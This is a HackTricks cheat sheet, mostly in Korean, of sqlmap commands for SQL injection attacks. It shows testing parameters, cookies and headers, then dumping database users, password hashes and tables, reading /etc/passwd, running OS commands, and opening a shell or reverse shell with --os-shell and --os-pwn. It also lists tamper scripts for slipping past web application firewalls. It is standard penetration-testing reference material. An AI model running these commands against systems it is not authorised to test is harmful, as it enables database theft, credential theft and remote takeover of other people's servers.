SQLMap - Cheatsheet

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

SQLmap을 위한 기본 인자

일반

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Technique flags (--technique)

--technique 옵션을 사용하면 sqlmap이 테스트할 SQL 인젝션 기술을 제한하거나 재정렬할 수 있습니다. 각 문자는 다른 종류의 페이로드에 해당합니다:

LetterTechniqueDescription
BBoolean-based blind페이지 응답에서 true/false 조건을 사용하여 결과를 추론합니다.
EError-based자세한 DBMS 오류 메시지를 활용하여 데이터를 추출합니다.
UUNION query동일한 채널을 통해 데이터를 가져오기 위해 UNION SELECT 문을 주입합니다.
SStacked queriesSQL 구분자(;)로 구분된 추가 문을 추가합니다.
TTime-based blind주입 가능한 조건을 감지하기 위해 SLEEP/WAITFOR 지연에 의존합니다.
QInline / out-of-bandLOAD_FILE() 또는 DNS 유출과 같은 함수를 사용하여 데이터를 추출합니다.

sqlmap이 따를 기본 순서는 BEUSTQ (모든 기술)입니다. 순서와 하위 집합을 모두 변경할 수 있습니다. 예를 들어, 다음 명령은 오직 UNION 쿼리와 Time-based blind 기술을 시도하며, UNION을 먼저 시도합니다:

bash
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch

정보 검색

내부

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB 데이터

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

SQLMapping을 사용하면 SQLMap에 대한 기본 및 고급 명령을 생성하고 전체 개요를 제공하는 실용적인 도구입니다. 도구의 각 측면을 설명하는 ToolTips가 포함되어 있어 모든 옵션을 자세히 설명하여 효율적이고 효과적으로 사용하는 방법을 개선하고 이해할 수 있습니다.

Injection place

From Burp/ZAP capture

요청을 캡처하고 req.txt 파일을 생성합니다.

bash
sqlmap -r req.txt --current-user

GET 요청 주입

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST 요청 주입

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

헤더 및 기타 HTTP 메서드에서의 인젝션

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

인젝션이 성공했을 때 문자열 표시

bash
--string="string_showed_when_TRUE"

탐지 기술 추가

SQLi를 발견했지만 sqlmap이 이를 감지하지 못한 경우, --prefix 또는 --suffix와 같은 인수를 사용하여 탐지 기술을 강제로 적용할 수 있습니다. 또는 더 복잡한 경우, 예를 들어 시간 기반 블라인드 공격을 위해 /usr/share/sqlmap/data/xml/payloads/time_blind.xml에 sqlmap이 사용하는 페이로드에 추가할 수 있습니다.

Eval

Sqlmap-e 또는 --eval을 사용하여 각 페이로드를 전송하기 전에 처리할 수 있도록 합니다. 이는 페이로드를 전송하기 전에 사용자 정의 방식으로 쉽게 빠르게 처리할 수 있게 해줍니다. 다음 예제에서 flask cookie session 은 전송되기 전에 알려진 비밀로 flask에 의해 서명됩니다:

bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

파일 읽기

bash
--file-read=/etc/passwd

SQLmap으로 웹사이트 크롤링 및 자동 익스플로잇

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

두 번째 차수 주입

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

이 게시물 읽기 sqlmap을 사용하여 간단하고 복잡한 2차 주입을 수행하는 방법에 대한 내용입니다.

주입 사용자 정의

접미사 설정

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

접두사

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

boolean injection 찾기 도움말

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

기억하세요, 당신은 파이썬으로 자신의 tamper를 만들 수 있으며 매우 간단합니다. tamper 예제는 Second Order Injection page here에서 찾을 수 있습니다.

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.py아포스트로피 문자를 UTF-8 전체 폭 대응 문자로 대체합니다.
apostrophenullencode.py아포스트로피 문자를 불법적인 이중 유니코드 대응 문자로 대체합니다.
appendnullbyte.py페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다.
base64encode.py주어진 페이로드의 모든 문자를 Base64로 인코딩합니다.
between.py'>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다.
bluecoat.pySQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다.
chardoubleencode.py주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음).
commalesslimit.py'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다.
commalessmid.py'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다.
concat2concatws.py'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다.
charencode.py주어진 페이로드의 모든 문자를 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음).
charunicodeencode.py주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "%u0022"
charunicodeescape.py주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "\u0022"
equaltolike.py'=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다.
escapequotes.py따옴표(' 및 ")를 슬래시로 이스케이프합니다.
greatest.py'>' 연산자를 'GREATEST' 대응 문자로 대체합니다.
halfversionedmorekeywords.py각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다.
ifnull2ifisnull.py'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다.
modsecurityversioned.py버전이 있는 주석으로 전체 쿼리를 감쌉니다.
modsecurityzeroversioned.py제로 버전 주석으로 전체 쿼리를 감쌉니다.
multiplespaces.pySQL 키워드 주위에 여러 개의 공백을 추가합니다.
nonrecursivereplacement.py미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "") 필터).
percentage.py각 문자 앞에 백분율 기호('%')를 추가합니다.
overlongutf8.py주어진 페이로드의 모든 문자를 변환합니다(이미 인코딩된 것은 처리하지 않음).
randomcase.py각 키워드 문자를 무작위 대소문자 값으로 대체합니다.
randomcomments.pySQL 키워드에 무작위 주석을 추가합니다.
securesphere.py특별히 제작된 문자열을 추가합니다.
sp_password.py페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다.
space2comment.py공백 문자(' ')를 주석으로 대체합니다.
space2dash.py공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다.
space2hash.py공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다.
space2morehash.py공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다.
space2mssqlblank.py공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다.
space2mssqlhash.py공백 문자(' ')를 파운드 문자('#')로 대체하고 새 줄('\n')을 추가합니다.
space2mysqlblank.py공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다.
space2mysqldash.py공백 문자(' ')를 대시 주석('--')으로 대체하고 새 줄('\n')을 추가합니다.
space2plus.py공백 문자(' ')를 더하기 기호('+')로 대체합니다.
space2randomblank.py공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다.
symboliclogical.pyAND 및 OR 논리 연산자를 그들의 기호 대응물(&& 및
unionalltounion.pyUNION ALL SELECT를 UNION SELECT로 대체합니다.
unmagicquotes.py따옴표 문자(')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다(작동하게 하기 위해).
uppercase.py각 키워드 문자를 대문자 값 'INSERT'로 대체합니다.
varnish.pyHTTP 헤더 'X-originating-IP'를 추가합니다.
versionedkeywords.py각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다.
versionedmorekeywords.py각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다.
xforwardedfor.py가짜 HTTP 헤더 'X-Forwarded-For'를 추가합니다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기